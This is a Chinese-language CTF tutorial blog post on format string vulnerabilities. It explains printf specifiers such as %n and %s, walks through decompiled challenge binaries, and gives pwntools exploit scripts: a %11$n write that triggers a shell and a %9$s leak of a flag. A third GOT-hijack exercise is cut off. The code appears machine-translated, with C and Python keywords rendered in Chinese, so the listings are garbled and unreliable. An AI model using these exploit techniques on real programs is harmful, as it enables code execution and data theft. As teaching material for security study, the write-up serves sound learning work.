发布于周五 15:264天前 ## 前言 掌握了堆栈溢出之后,我们将开始学习格式字符串漏洞。希望我接下来的学习过程和讲解能够对你有所帮助。 ## 基础知识 这里我结合ctfwiki上的基础知识,结合我的理解,让像我这样的学习者更容易理解。 ### 功能介绍 格式字符串函数可以接受可变数量的参数,并使用第一个参数作为格式字符串来解析后续参数。几乎所有的C/C++程序都使用格式化字符串函数来输出信息、调试程序或处理字符串。 ** 一般来说,格式字符串在使用时主要分为三部分 - 格式化字符串功能 - 格式化字符串 - 后续参数,可选 这里我们以printf() 为例,【C 库函数– printf() |新手教程(runoob.com)](https://www.runoob.com/cprogramming/c-function-printf.html)。在阅读printf()的用法时,可以结合下面的图片来理解。 ### 常用格式化字符串函数 #### 输入 -scanf #### 输出 ### 格式化字符串 基本格式如下 ```` %[参数][标志][字段宽度][.精度][长度]类型 ```` 这里每个pattren的含义参考[格式化字符串-维基百科,免费百科全书(wikipedia.org)](https://zh.wikipedia.org/wiki/%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2) 这里以printf()为例,解释一下常用格式字符串的含义。 例如 ```` printf(\'%s\',填充) ```` - %p: 直接打印堆栈上的数据 - %s: 使用堆栈上的数据作为地址解析并打印地址解析数据。 - %x 以十六进制打印,只能打印4个字节,一般只用于32位 - %c 打印单个字符 - %hhn 写入一个字节 - %hn 写入两个字节 - %n 将已成功输出的字符数写入相应整型指针参数所指向的变量中。将栈上的内容解析为一个地址,然后改变这个地址处的内容,写入四个字节 - %ln 对于32 位写入4 个字节,对于64 位写入8 个字节。 - %lln 写入八个字节 - %d、%i 有符号十进制值int '%d' 和'%i' 与输出同义;但对于scanf() 输入,则不同,当输入值以0x 或0 为前缀时,%i 分别表示十六进制或八进制值。如果指定精度,则如果输出数量不足,则在左侧补零。默认精度为1。精度为0 且值为0 时,输出为空。 ### 漏洞原理 这里我就不在ctfwiki上写解释了。我将用我自己的理解来描述它。 格式化字符串漏洞的原因是printf/sprintf/snprintf等格式化打印函数接受可变参数。一旦程序编写方式不规范,例如正确的写法是:printf(\'%s\', pad),而偷懒的写法是:printf(pad),那么就存在格式化字符串漏洞。 最简单的示例代码演示 ```` #包括 int main() { 字符垫[100]; scanf(\'%s\', 垫); printf(垫); 返回0; } ```` 使用gcc编译32位程序 ```` gcc fmt.c -o fmt -m32 ```` 直接测试一下 调整gdb,看一下漏洞实现过程 可以发现,格式参数%p会打印出栈上从栈顶指针+0x4开始的数据。 这里解释一下为什么printf 会这样打印我们输入的字符串。 一般情况下printf的用法如下 ```` printf(\'%s\', 垫) ```` 但这里我们直接省略pad,只省略格式字符串,因为printf是可变参数,而在32位Linux系统下是用栈来传递参数的。栈顶指针esp 是第一个参数。这时候printf就会打印字符串。如果遇到进一步的格式化符号,例如这里的%p,第二个参数将以十六进制打印。但是我们没有传递第二个参数,所以系统仍然打印esp+0x4的位置作为第二个参数,以此类推。 ## 漏洞利用 这里我将结合几个最简单的格式字符串问题来解释利用格式字符串漏洞的几种方法。 **fmtstr1** **覆盖内存(32 位格式字符串)** 筹备工作 执行IDA 静态分析 **主要** ```` int __cdecl main(int argc, const char **argv, const char **envp) { 整数v4; //[esp-60h] [ebp-60h] 无符号整型v5; //[esp-10h] [ebp-10h] v5=__readgsdword(0x14u); 对人友善(); memset(v4, 0,0x50u); 读取(0,v4,0x50u); printf((const char *)v4); printf(\'%d!\ \', x); 如果(x==4) { put(\'运行sh.\'); 系统(\'/bin/sh\'); } 返回0; } ```` 经过分析,其实逻辑很简单,就是如果x为4,程序本身就会执行getshell 其实就是写入4个字节的数据 看一下程序中x是哪个字段 ```` x_地址=0804A02C ```` 现在我们知道了x字段的地址,我们可以使用%n将原来的x内容修改为我们想要的内容。现在我们只需要看看堆栈上写入的是哪种格式字符串参数。 调整gdb 第一个框内是printf() 的第一个参数 下面的框是格式字符串的参数。可以看到第11个参数将我们输入的字符串写入了栈中,所以我们也知道要修改哪里的内容了。 经验: ```` 从pwn 导入* 上下文(os='linux',arch='i386',log_level='调试') io=进程('./pwn') elf=ELF('./pwn') x_地址=0x0804A02C 有效负载=p32(x_addr)+b\'%11$n\' io.sendline(有效负载) io.interactive() `` **fmtstr2** **泄漏堆栈内存(64 位格式字符串)** 筹备工作 IDA静态分析 **主要** ```` int __cdecl main(int argc, const char **argv, const char **envp) { 字符v4; //[rsp+3h] [rbp-3Dh] 整数我; //[rsp+4h] [rbp-3Ch] 整数j; //[rsp+4h] [rbp-3Ch] 字符*格式; //[rsp+8h] [rbp-38h] BYREF _IO_FILE *fp; //[rsp+10h] [rbp-30h] 字符*v9; //[rsp+18h] [rbp-28h] 字符v10[24]; //[rsp+20h] [rbp-20h] BYREF 无符号__int64 v11; //[rsp+38h] [rbp-8h] v11=__readfsqword(0x28u); fp=fopen(\'flag.txt\', \'r\'); 对于( i=0; i=21; ++ i ) v10[i]=_IO_getc(fp); fclose(fp); v9=v10; put(\'标志是什么\'); fflush(_bss_start); 格式=0LL; __isoc99_scanf(\'%ms\', 格式); 对于( j=0; j=21; ++j ) { v4=格式[j]; if ( !v4 || v10[j] !=v4 ) { puts(\'你回答了:\'); printf(格式); 投入(\'\ 但这是完全错误的,哈哈,得到rekt\'); fflush(_bss_start); 返回0; } } printf(\'没错,标志是%s\ \', v9); fflush(_bss_start); 返回0; } ```` 这个逻辑确实比上一个问题要复杂一些,但是如果你有一定的C语言或者其他语言基础的话,其实是可以理解这里的逻辑的。 是要求我们提交flag。如果正确的话,会回显flag(感觉很矛盾),否则会提示错误。 这里存在一个格式字符串漏洞,但是这道题的思路和上一道题不同。这题已经告诉你flag了,所以我们需要使用%s来解析并显示地址上的内容。 现在我有了想法,我们来看看gdb。 这里我们在scanf中设置断点 ```` b*0x400840 ```` 输入字符后,单步执行printf,查看堆栈 这里可以对比第一道格式化字符串例题,发现情况不同。这其实涉及到64位函数调用栈的结构 64位的前6个参数按照rdi、rsi、rdx、rcx、r8.r9的顺序存放在寄存器中,但是由于ASLR的开启 我们不知道第七个参数在哪里。我们可以多写几个参数来和栈进行比较 一看就知道前两个参数的地址不在栈上,但第三个是0x7ff开头的,所以是栈上地址。 其实也可以进行动态调整。 x64的前6个参数存储在寄存器中,第一个参数是格式字符串,所以这实际上是第5 + 4=9个参数,因此payload写为%9$s 经验: ```` 从pwn 导入* 上下文(os='linux',arch='amd64',log_level='调试') io=进程('./pwn') elf=ELF('./pwn') io.recvuntil(b\'标志\') 有效负载=\'%9$s\' io.sendline(有效负载) io.interactive() `` **fmstr3** **libc 泄露以劫持GOT** 筹备工作 IDA静态分析 **主要()** ```` int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { 整数v3; //EAX 字符s1; //[esp+14h] [ebp-2Ch] 整数v5; //[esp+3Ch] [ebp-4h] setbuf(标准输出,0); 询问用户名(s1); 询问密码(s1); 同时(1) { 同时(1) { 打印_提示(); v3=get_command(); v5=v3; 如果(v3!=2) 打破; put_file(); } 如果(v3==3) { 显示目录(); } 否则 { 如果(v3!=1) 退出(1); 获取文件(); } } } ```` 逆向分析main()函数的逻辑。 首先设置一个缓冲区,然后后面调用的ask_username()和ask_password()函数共享同一个缓冲区。 然后是一个无线循环,首先输出print_prompt(),然后使用v3存储用户输入的结果,然后传递给v5。根据用户输入的值分别调用put_file()、show_dir()、exit(1) 和get_file() 函数。 这里的漏洞是get_file() ```` int get_file() { 字符目标; //[esp+1Ch] [ebp-FCh] 字符s1; //[esp+E4h] [ebp-34h] 字符*i; //[esp+10Ch] [ebp-Ch] printf(\'输入你要获取的文件名:\'); __isoc99_scanf(\'%40s\', s1); if ( !strncmp(s1, \'flag\', 4u) ) put(\'太年轻,太简单\'); for ( i=(char *)file_head; i; i=(char *)*((_DWORD *)i + 60) ) { if ( !strcmp(i, s1) ) { strcpy(dest, i + 40); 返回printf(目标); } } 返回printf(目标); } ```` 在这里,用户输入一个文件名,然后程序从链堆栈中搜索它。如果文件名相同,则输出文件内容(除了flag) 这里需要注意的是printf()直接打印出地址指向的内容,因此存在格式字符串漏洞。 **询问用户名()** ```` char *__cdecl Ask_username(char *dest) { 字符源[40]; //[esp+14h] [ebp-34h] 整数我; //[esp+3Ch] [ebp-Ch] put(\'连接到ftp.hacker.server\'); put(\'220 Serv-U FTP Server v6.4 for WinSock 准备就绪.\'); printf(\'名称(ftp.hacker.server:Rainism):\'); __isoc99_scanf(\'%40s\', src); for ( i=0; i=39 src[i]; ++i ) ++src[i]; 返回strcpy(dest, src); } ```` 该函数的逻辑是,首先定义一个40字节的缓冲区,将输入的字符按顺序加1,然后传递给dest (顺便这里下午解释一下name:rxraclhm,按照逻辑,字符串需要依次加一,所以我们都输入减一) **询问密码()** ```` int __cdecl Ask_password(char *s1) { if ( strcmp(s1, \'sysbdmin\') ) { put(\'你是谁?\'); 退出(1); } return puts(\'欢迎!\'); } ```` 这是将用户传入的用户名与sysbdmin进行比较,看是否相等。如果相等,则输入main后面的内容。 **获取命令()** ```` 带符号int get_command() { 字符s1; //[esp+1Ch] [ebp-Ch] __isoc99_scanf(\'%3s\', s1); if ( !strncmp(s1, \'get\', 3u) ) 返回1; if ( !strncmp(s1, \'put\', 3u) ) 返回2; if ( !strncmp(s1, \'dir\', 3u) ) 返回3; 返回4; } ```` 这里,strncmp() 用于设置三个有效命令:get、put 和dir。 **put_file()** ```` _DWORD *put_file() { _DWORD *v0; //ST1C_4 _DWORD *结果; //EAX v0=malloc(0xF4u); printf(\'请输入要上传的文件名:\'); get_input(v0, 40, 1); printf(\'那么,输入内容:\'); get_input(v0 + 10, 200, 1); v0[60]=文件头; 结果=v0; 文件头=(int)v0; 返回结果; } ```` **获取输入()** ```` 有符号int __cdecl get_input(int a1, int a2, int a3) { 有符号整型结果; //EAX _字节*v4; //[esp+18h] [ebp-10h] 整数v5; //[esp+1Ch] [ebp-Ch] v5=0; 同时(1) {
创建帐户或登录后发表意见